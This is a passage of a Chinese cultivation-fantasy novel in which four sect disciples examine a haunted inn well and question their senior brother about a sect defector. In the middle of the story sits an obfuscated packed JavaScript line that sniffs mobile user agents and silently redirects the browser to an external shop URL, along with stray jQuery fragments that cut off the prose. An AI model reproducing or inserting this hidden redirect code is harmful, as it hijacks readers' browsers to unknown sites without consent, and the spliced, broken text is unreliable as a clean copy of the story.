四个人刚遇上个出事的刘家人,此时不由自主将菜刀主人往刘家人身上猜,但他们也无从考证,便只得先将此事放下,等天亮以后再找人询问。
“我们先在客栈里看看。”离潼关道。
其余三人也都没有意见,只是谢影安哈欠连天。
“……师弟,你很困吗?”
“有点吧,可能真被吸了阳气呢。”谢影安说着又是一个哈欠。
虞生嗤了一声道:“是吗?那你可要小心了,小心被人趁虚而入。”
谢影安听了她的话脸色黑了一瞬,但很快又恢复如常,朝着她“嘁”了一声。
离潼关看热闹不嫌事大地嘻嘻笑了两声:“师妹你怎么跟人学坏了呢,净说难听话。”
谢影安呵呵两下,道:“是本性毕露了吧。我可不爱阴阳怪气,总是有话直说。”
虞生不甘示弱:“仅是难听话直说,其他可不是。”
看着二人针锋相对的模样,离潼关自知多言了,便一下闭了嘴,退后一步将局面交给蝶月来处理。
而蝶月也是个护短的,自然是只帮着虞生说话,她本就同谢影安有不小的矛盾,此时被顷刻激发,直接跟人又吵了一架,吵得离潼关后悔不已。
“好了,好了!都闭上嘴吧!咱们谁都没有错!错在这个该死的不知道魔修还是鬼修!现在我们去抓他!好吧?”离潼关手动关闭了谢影安的嘴,把他气得瞪了他好几眼,甚至直接上嘴咬了。
“哎呦!师弟你这牙口不错啊!”
离潼关捂着自己手上一圈红牙印半闭着一只眼睛叫唤着。
“滚……”谢影安哑着嗓子说。
他刚刚差点被点燃动手跟离潼关打架了。
他最讨厌别人捂着他的口鼻。
虞生觉得此番是有些幼稚了,懒待再理这两人,直接和蝶月先行一步往客栈里头走去了。
离潼关见两人走了,也连忙拉上刚怒火上头的谢影安跟了上去。
他一边走,一边劝说着谢影安:“师弟啊,好男不跟女斗,身为一个大男子汉,你要有肚量,懂吗?听过一句话没有?宰相肚里能撑船……诶诶诶,师弟你别走这么快呀,我说的你都听着了没有?你可别不把师兄的话当回事,长兄如父,我——”
噌——
剑尖已抵在咽喉,离潼关咽了口唾沫,直接举起双手再不敢多言。
“当过我父亲的人都已经死了,而且死的很惨很惨,你也想试试吗?”少年阴郁地说着,刘海投下阴影遮盖之下的双眸中似在燃火。
离潼关紧抿着唇摇了摇头。
谢影安又冷嗖嗖看他一眼,这才收回了剑,转身就走。
他的剑“鸠鹄”属寒冰,按理来说,其散发出的“气”该是纯洁无暇的,可不知是因着剑主灵力不够纯粹心境不够坚定还是如何,那“气”竟是带着些许阴魔意味来。
离潼关看着谢影安的背影,眉目之中透出担忧神情。
他知道自己这个师弟的身上藏了许多秘密,他好奇,但并不打算去深究,他不想揭人伤疤。
“逍遥啊……”
离潼关只求他别同那个人一般,误入歧途。
虞生带着三个人一路走到了阴气至浓之处,是后院的一口井。
井是一个好东西,遇着哪里鬼魂作祟便找它,只要是有井的地方,那可是一找一个准。
井深入地下,常年不见日光,而水让其变得更加潮湿阴凉,简直就是鬼魂天然的安居所。
同时,它也是个杀人抛尸的好地方。
杀了人尸体无处安放该如何?很简单,找口井,把它扔下去就好了,再在上面盖块石头封味封魂,再不济,就向道观里的道士们要几道符,向街上老神棍要也成,把那符纸贴在大石上,如此双重封锁,除非是怨气极重的大鬼,其余小鬼轻而易举就能给镇压个百年。
如若那道士实力够强,更久也有可能。
可此时的井上,却没有贴了符的大石。
空空漆黑一个圆洞,一眼望下去不见底。
“被人击碎了……”
虞生捡起一块井旁的碎石块看了看,又闻了闻,最后确认这便是先前封井的石头。
“被人击碎的?”蝶月走上来蹲在她的身旁,也捡了块石头看看。
虞生点点头,道:“你能看出击碎石头的是何人吗?”
“不能。”蝶月如实道,“你呢?”
“只能知道是一鬼修。”
“鬼修……你可知晓鬼王?”
虞生点头道:“知道,木惊竹嘛,手握太白剑,可驱策千尸万鬼的那个鬼王。”
“是,而他还有一个手下,名为笑花潭,是鬼域圣首,他被世人称之为‘炼尸者’,因他能将尸体炼化为傀儡为己所用,而炼化后的尸体比普通的走尸杀伤力更强,它们是有神智的,有自我意识。”
虞生短暂地沉默了一下,随后看向她,道:“你认为这事是尸傀儡所为?”
“是。”
“尸傀儡是有神智,但也有限,它们的思想不会如人那般深刻,比如它们不会刻意去掩盖自己的气息……”
蝶月拿起一块还在冒着微微黑烟的石头在虞生面前晃了晃:“就发生在不久之前,至多两个时辰。”
虞生看向她笑了笑:“你知道我们两个时辰前在哪儿吗?”
蝶月盯着她,一语不发。
“在米满香,吃着饭呢。而好巧不巧,这家客栈就在米满香的旁侧。”
见蝶月没有要言语的想法,虞生便继续说下去:“方才我们在刘家,半个时辰内天就黑了,这是绝对不可能的,除非有人拥有操控时间流逝的能力。或者,是我们中了幻术。操控时间不可能,这世上没谁能够摆弄它,所以就该是后者,我们中了幻术。你觉得,这幻术该是何时施加的呢?”
蝶月想了想,道:“进入刘家以后?”
虞生:“我更倾向于酒楼。酒楼内人多热闹,在里边儿很是轻松欢快。是个很容易降低人们警戒心的地方。如果我是那个要施加幻术的人,我就会选择这样容易让人放松警惕的地方,让他们在不知不觉中落入我的圈套。不过如你所说,击碎这块大石的该是一个尸傀儡,它不该有如此深思熟虑的想法。”
蝶月明白了虞生所想,接续道:“所以你认为,这尸傀儡还有帮手?”
“应该是必然,”虞生道,“笑花潭既然作为圣首,那他应该更加阴险狡诈一些,仅派出一个尸傀儡办事风险太大,他肯定还会再派一个神智清醒的手下。当然了,如若他只是为了在凡间作乱行恶,那便能将以上这些全都推翻。但我想他该是有目的的,不然不会如此精准地就让我们四个中招。”
“可他究竟是什么目的呢……”
虞生正想得入迷,并未发觉,井旁树后,一个黑影正对着她虎视眈眈。
“你们在这嘀嘀咕咕什么呢?说来给我们两也听听呀。”离潼关突然出现道。
藏在树后的黑影本蠢蠢欲动着想要做些什么,但瞧见来人,他便只得又将动作收了回去,重新安安分分地待在阴影里,继续默不作声。
蝶月看向了虞生,意在让她做决定。
虞生接收到她的目光,想着这也不是什么该当做秘密的事情,便将此事都告与了他。
谢影安就站在一旁,她的声音不大不小,总之是能刚好让他听着的。
“这个人知晓我们的一切行动,”虞生神情肃穆,眼神犀利地道,“他能猜到我们接下来要到什么地方去,然后提前做下准备。而我们今日都是跟着四师兄你来行事的。”
“我……我?”离潼关瞪大了眼睛,丝毫没想到虞生会将矛头指向自己,“我我我,不是我啊!我发誓我没有那么做!”
他不知道该如何为自己辩解,因为虞生所言不无道理。
虞生看他紧张模样,却道:“放轻松,我并未怀疑你,只是想问问,以你来看,有什么人可以通晓你在凡界的行踪吗?反正我们三人是不可能的,对不对?你上一回下凡,跟你一起的,是何人?三师兄吗?”
“不可能!”离潼关立马高声道。
说完后,他意识到自己有些失态了,便咳嗽两声,接着道:“不可能是三师兄,不可能是我们宗门的人!”
“这可不一定。”
“虞无卿!”离潼关看着她,眼中起了些红血丝,声量却是在小姑娘始终未有波澜的眼神中逐渐减小了,“你不要妄言。我们宗门的人,怎么能同鬼修有所牵扯?”
虞生并未答他,只道:“笑花潭是谁?”
“鬼域圣首,这你不知道吗?你需要问我吗?”
“在成为鬼域圣首之前,他是谁。”
“我不知道!”
“你知道。”
“我知道?我知道什么?!他一个鬼域有头有脸的人物,我怎么可能会认识他?!!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17690066|207885||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“他曾经不是临仙宗的人吗?”
“不是!”离潼关双目通红地咆哮道,“不是……他已经叛出师门了,他已经不是临仙宗的人了。虞生,算我求你了,你别再提他了,别再说这些了……”
虞生是个软硬不吃的铁石心肠:“他为何叛出师门。”
“我不知道。”
“你知道。”
“我不知道!”
“你的眼神会暴露一切,离绝尘。”
“……”
离潼关抬头看向了虞生,一下撞进了她眸中深潭。
虞生盯着他,漆黑的瞳孔下好像有什么在翻涌。
“眼神是最骗不了人的东西。如果一个人能够掩饰自己的眼神来撒谎,那这个人是很可怕很可怕的。”
看着这位师妹,离潼关突然畏惧了。即便是方才谢影安那阴郁似要杀人的眼神也未让他有这种感受。
一圈又一圈,波纹荡漾在眼中,像一次次轮回,一次次重复,重复到让他濒临崩溃,重复到他终于受不了要道出真相。
“我……”
“不必说。”
虞生突然阻止了离潼关:“我对宗门过去的事情并不感兴趣。至少现在是如此。如果你实在不愿意,我不会强求,说不定往后有一天,你会主动告诉我。”
“……我能问你一个问题吗?”离潼关缓了许久,让自己稳定了情绪才问道。
“可以。”
“你为什么会知道,笑花潭曾是临仙宗的人?”
虞生看着他,随后罕见地露出一个她这个年龄孩童该有的玩趣笑容:“秘密。”
谢影安饶有趣味地看着虞生,心中在暗暗盘算着什么东西。
倏然,少女回头了。
和夜色之下的他对视一眼,随后又错开了视线。
那一眼中似有威胁。
“嗤……”他没忍住笑了。
另外三人都各有心事,没人被他这一笑吸引注意。
“拜托你再想想吧,想想有谁会清楚我们的行程。”虞生向离潼关说道。
她收起了自己方才那咄咄逼人的锐气。
离潼关沉默半晌后,道:“我真的不知道,抱歉……”
“没事,不强求。”虞生一边说,一边将碎石往井下去扔了一块,但过了许久,也没能听到石头落水的回音。
“……这井得有多深啊,现在都还没到底。”离潼关努力让自己回到原先那副嘻嘻哈哈不谙世事的模样。
他又说道:“什么人能挖出这么深的井来?打水的时候都不嫌累的吗?”
“或许并非是没到底。”蝶月出声道。
虞生继续接上:“是的,如若下方有尸体垫着,那石头子儿扔下去不出声也是合情合理。”
犹豫了一会儿后,她又道:“我们下去看看,如何?”
离潼关的脸一下子变成了菜色:“不如何。”
蝶月和谢影安倒是都无所谓。
虞生点点头,道:“那正好,我们三个下去,你在上面看着,如有来人,扔块石头下来,然后自己跑去找个地方躲起来。”
“行啊,那谁先来呢?”谢影安看着虞生道,“要不师兄先给你们试试水?”
小姑娘盯着他看了一会儿后,道:“不,我刚刚说错了。你待在井上,同四师兄一起看守。”
“我?让你们两个小姑娘自己下去?无卿啊,师兄知道你对师兄有意见,但现在可不是该赌气的时候,让你们两个那么小的孩子独自下去,实在是太危险了——”
他话音刚落,虞生背在身上的望舒剑就倏然出鞘,直冲井底而去,末了,它返还,回到了虞生的身边。
“井下空间很大,有一定危险,但足够我和蝶月应付。”虞生说道,一句话把谢影安给堵死了。
“……好吧,好吧,既然如此,你们就自己下去吧。唉,师兄一片好心啊……”谢影安演瘾又犯了。
虞生都懒得看他一眼,只准备着东西要下井。
她疑心病太重,谢影安又是个随时可能要她性命的人,她可不敢在如此狭隘且旁若无人的地方跟他一起行动,就算加了个蝶月也不行。
他隐藏了自己的实力,他的境界肯定是不止在凝虚境的,如若他的真实境界为幻神境,那要杀了她和蝶月就是分分钟的事情。
他的“气”不纯粹。
虞生闻到了。
他不是纯正的仙修。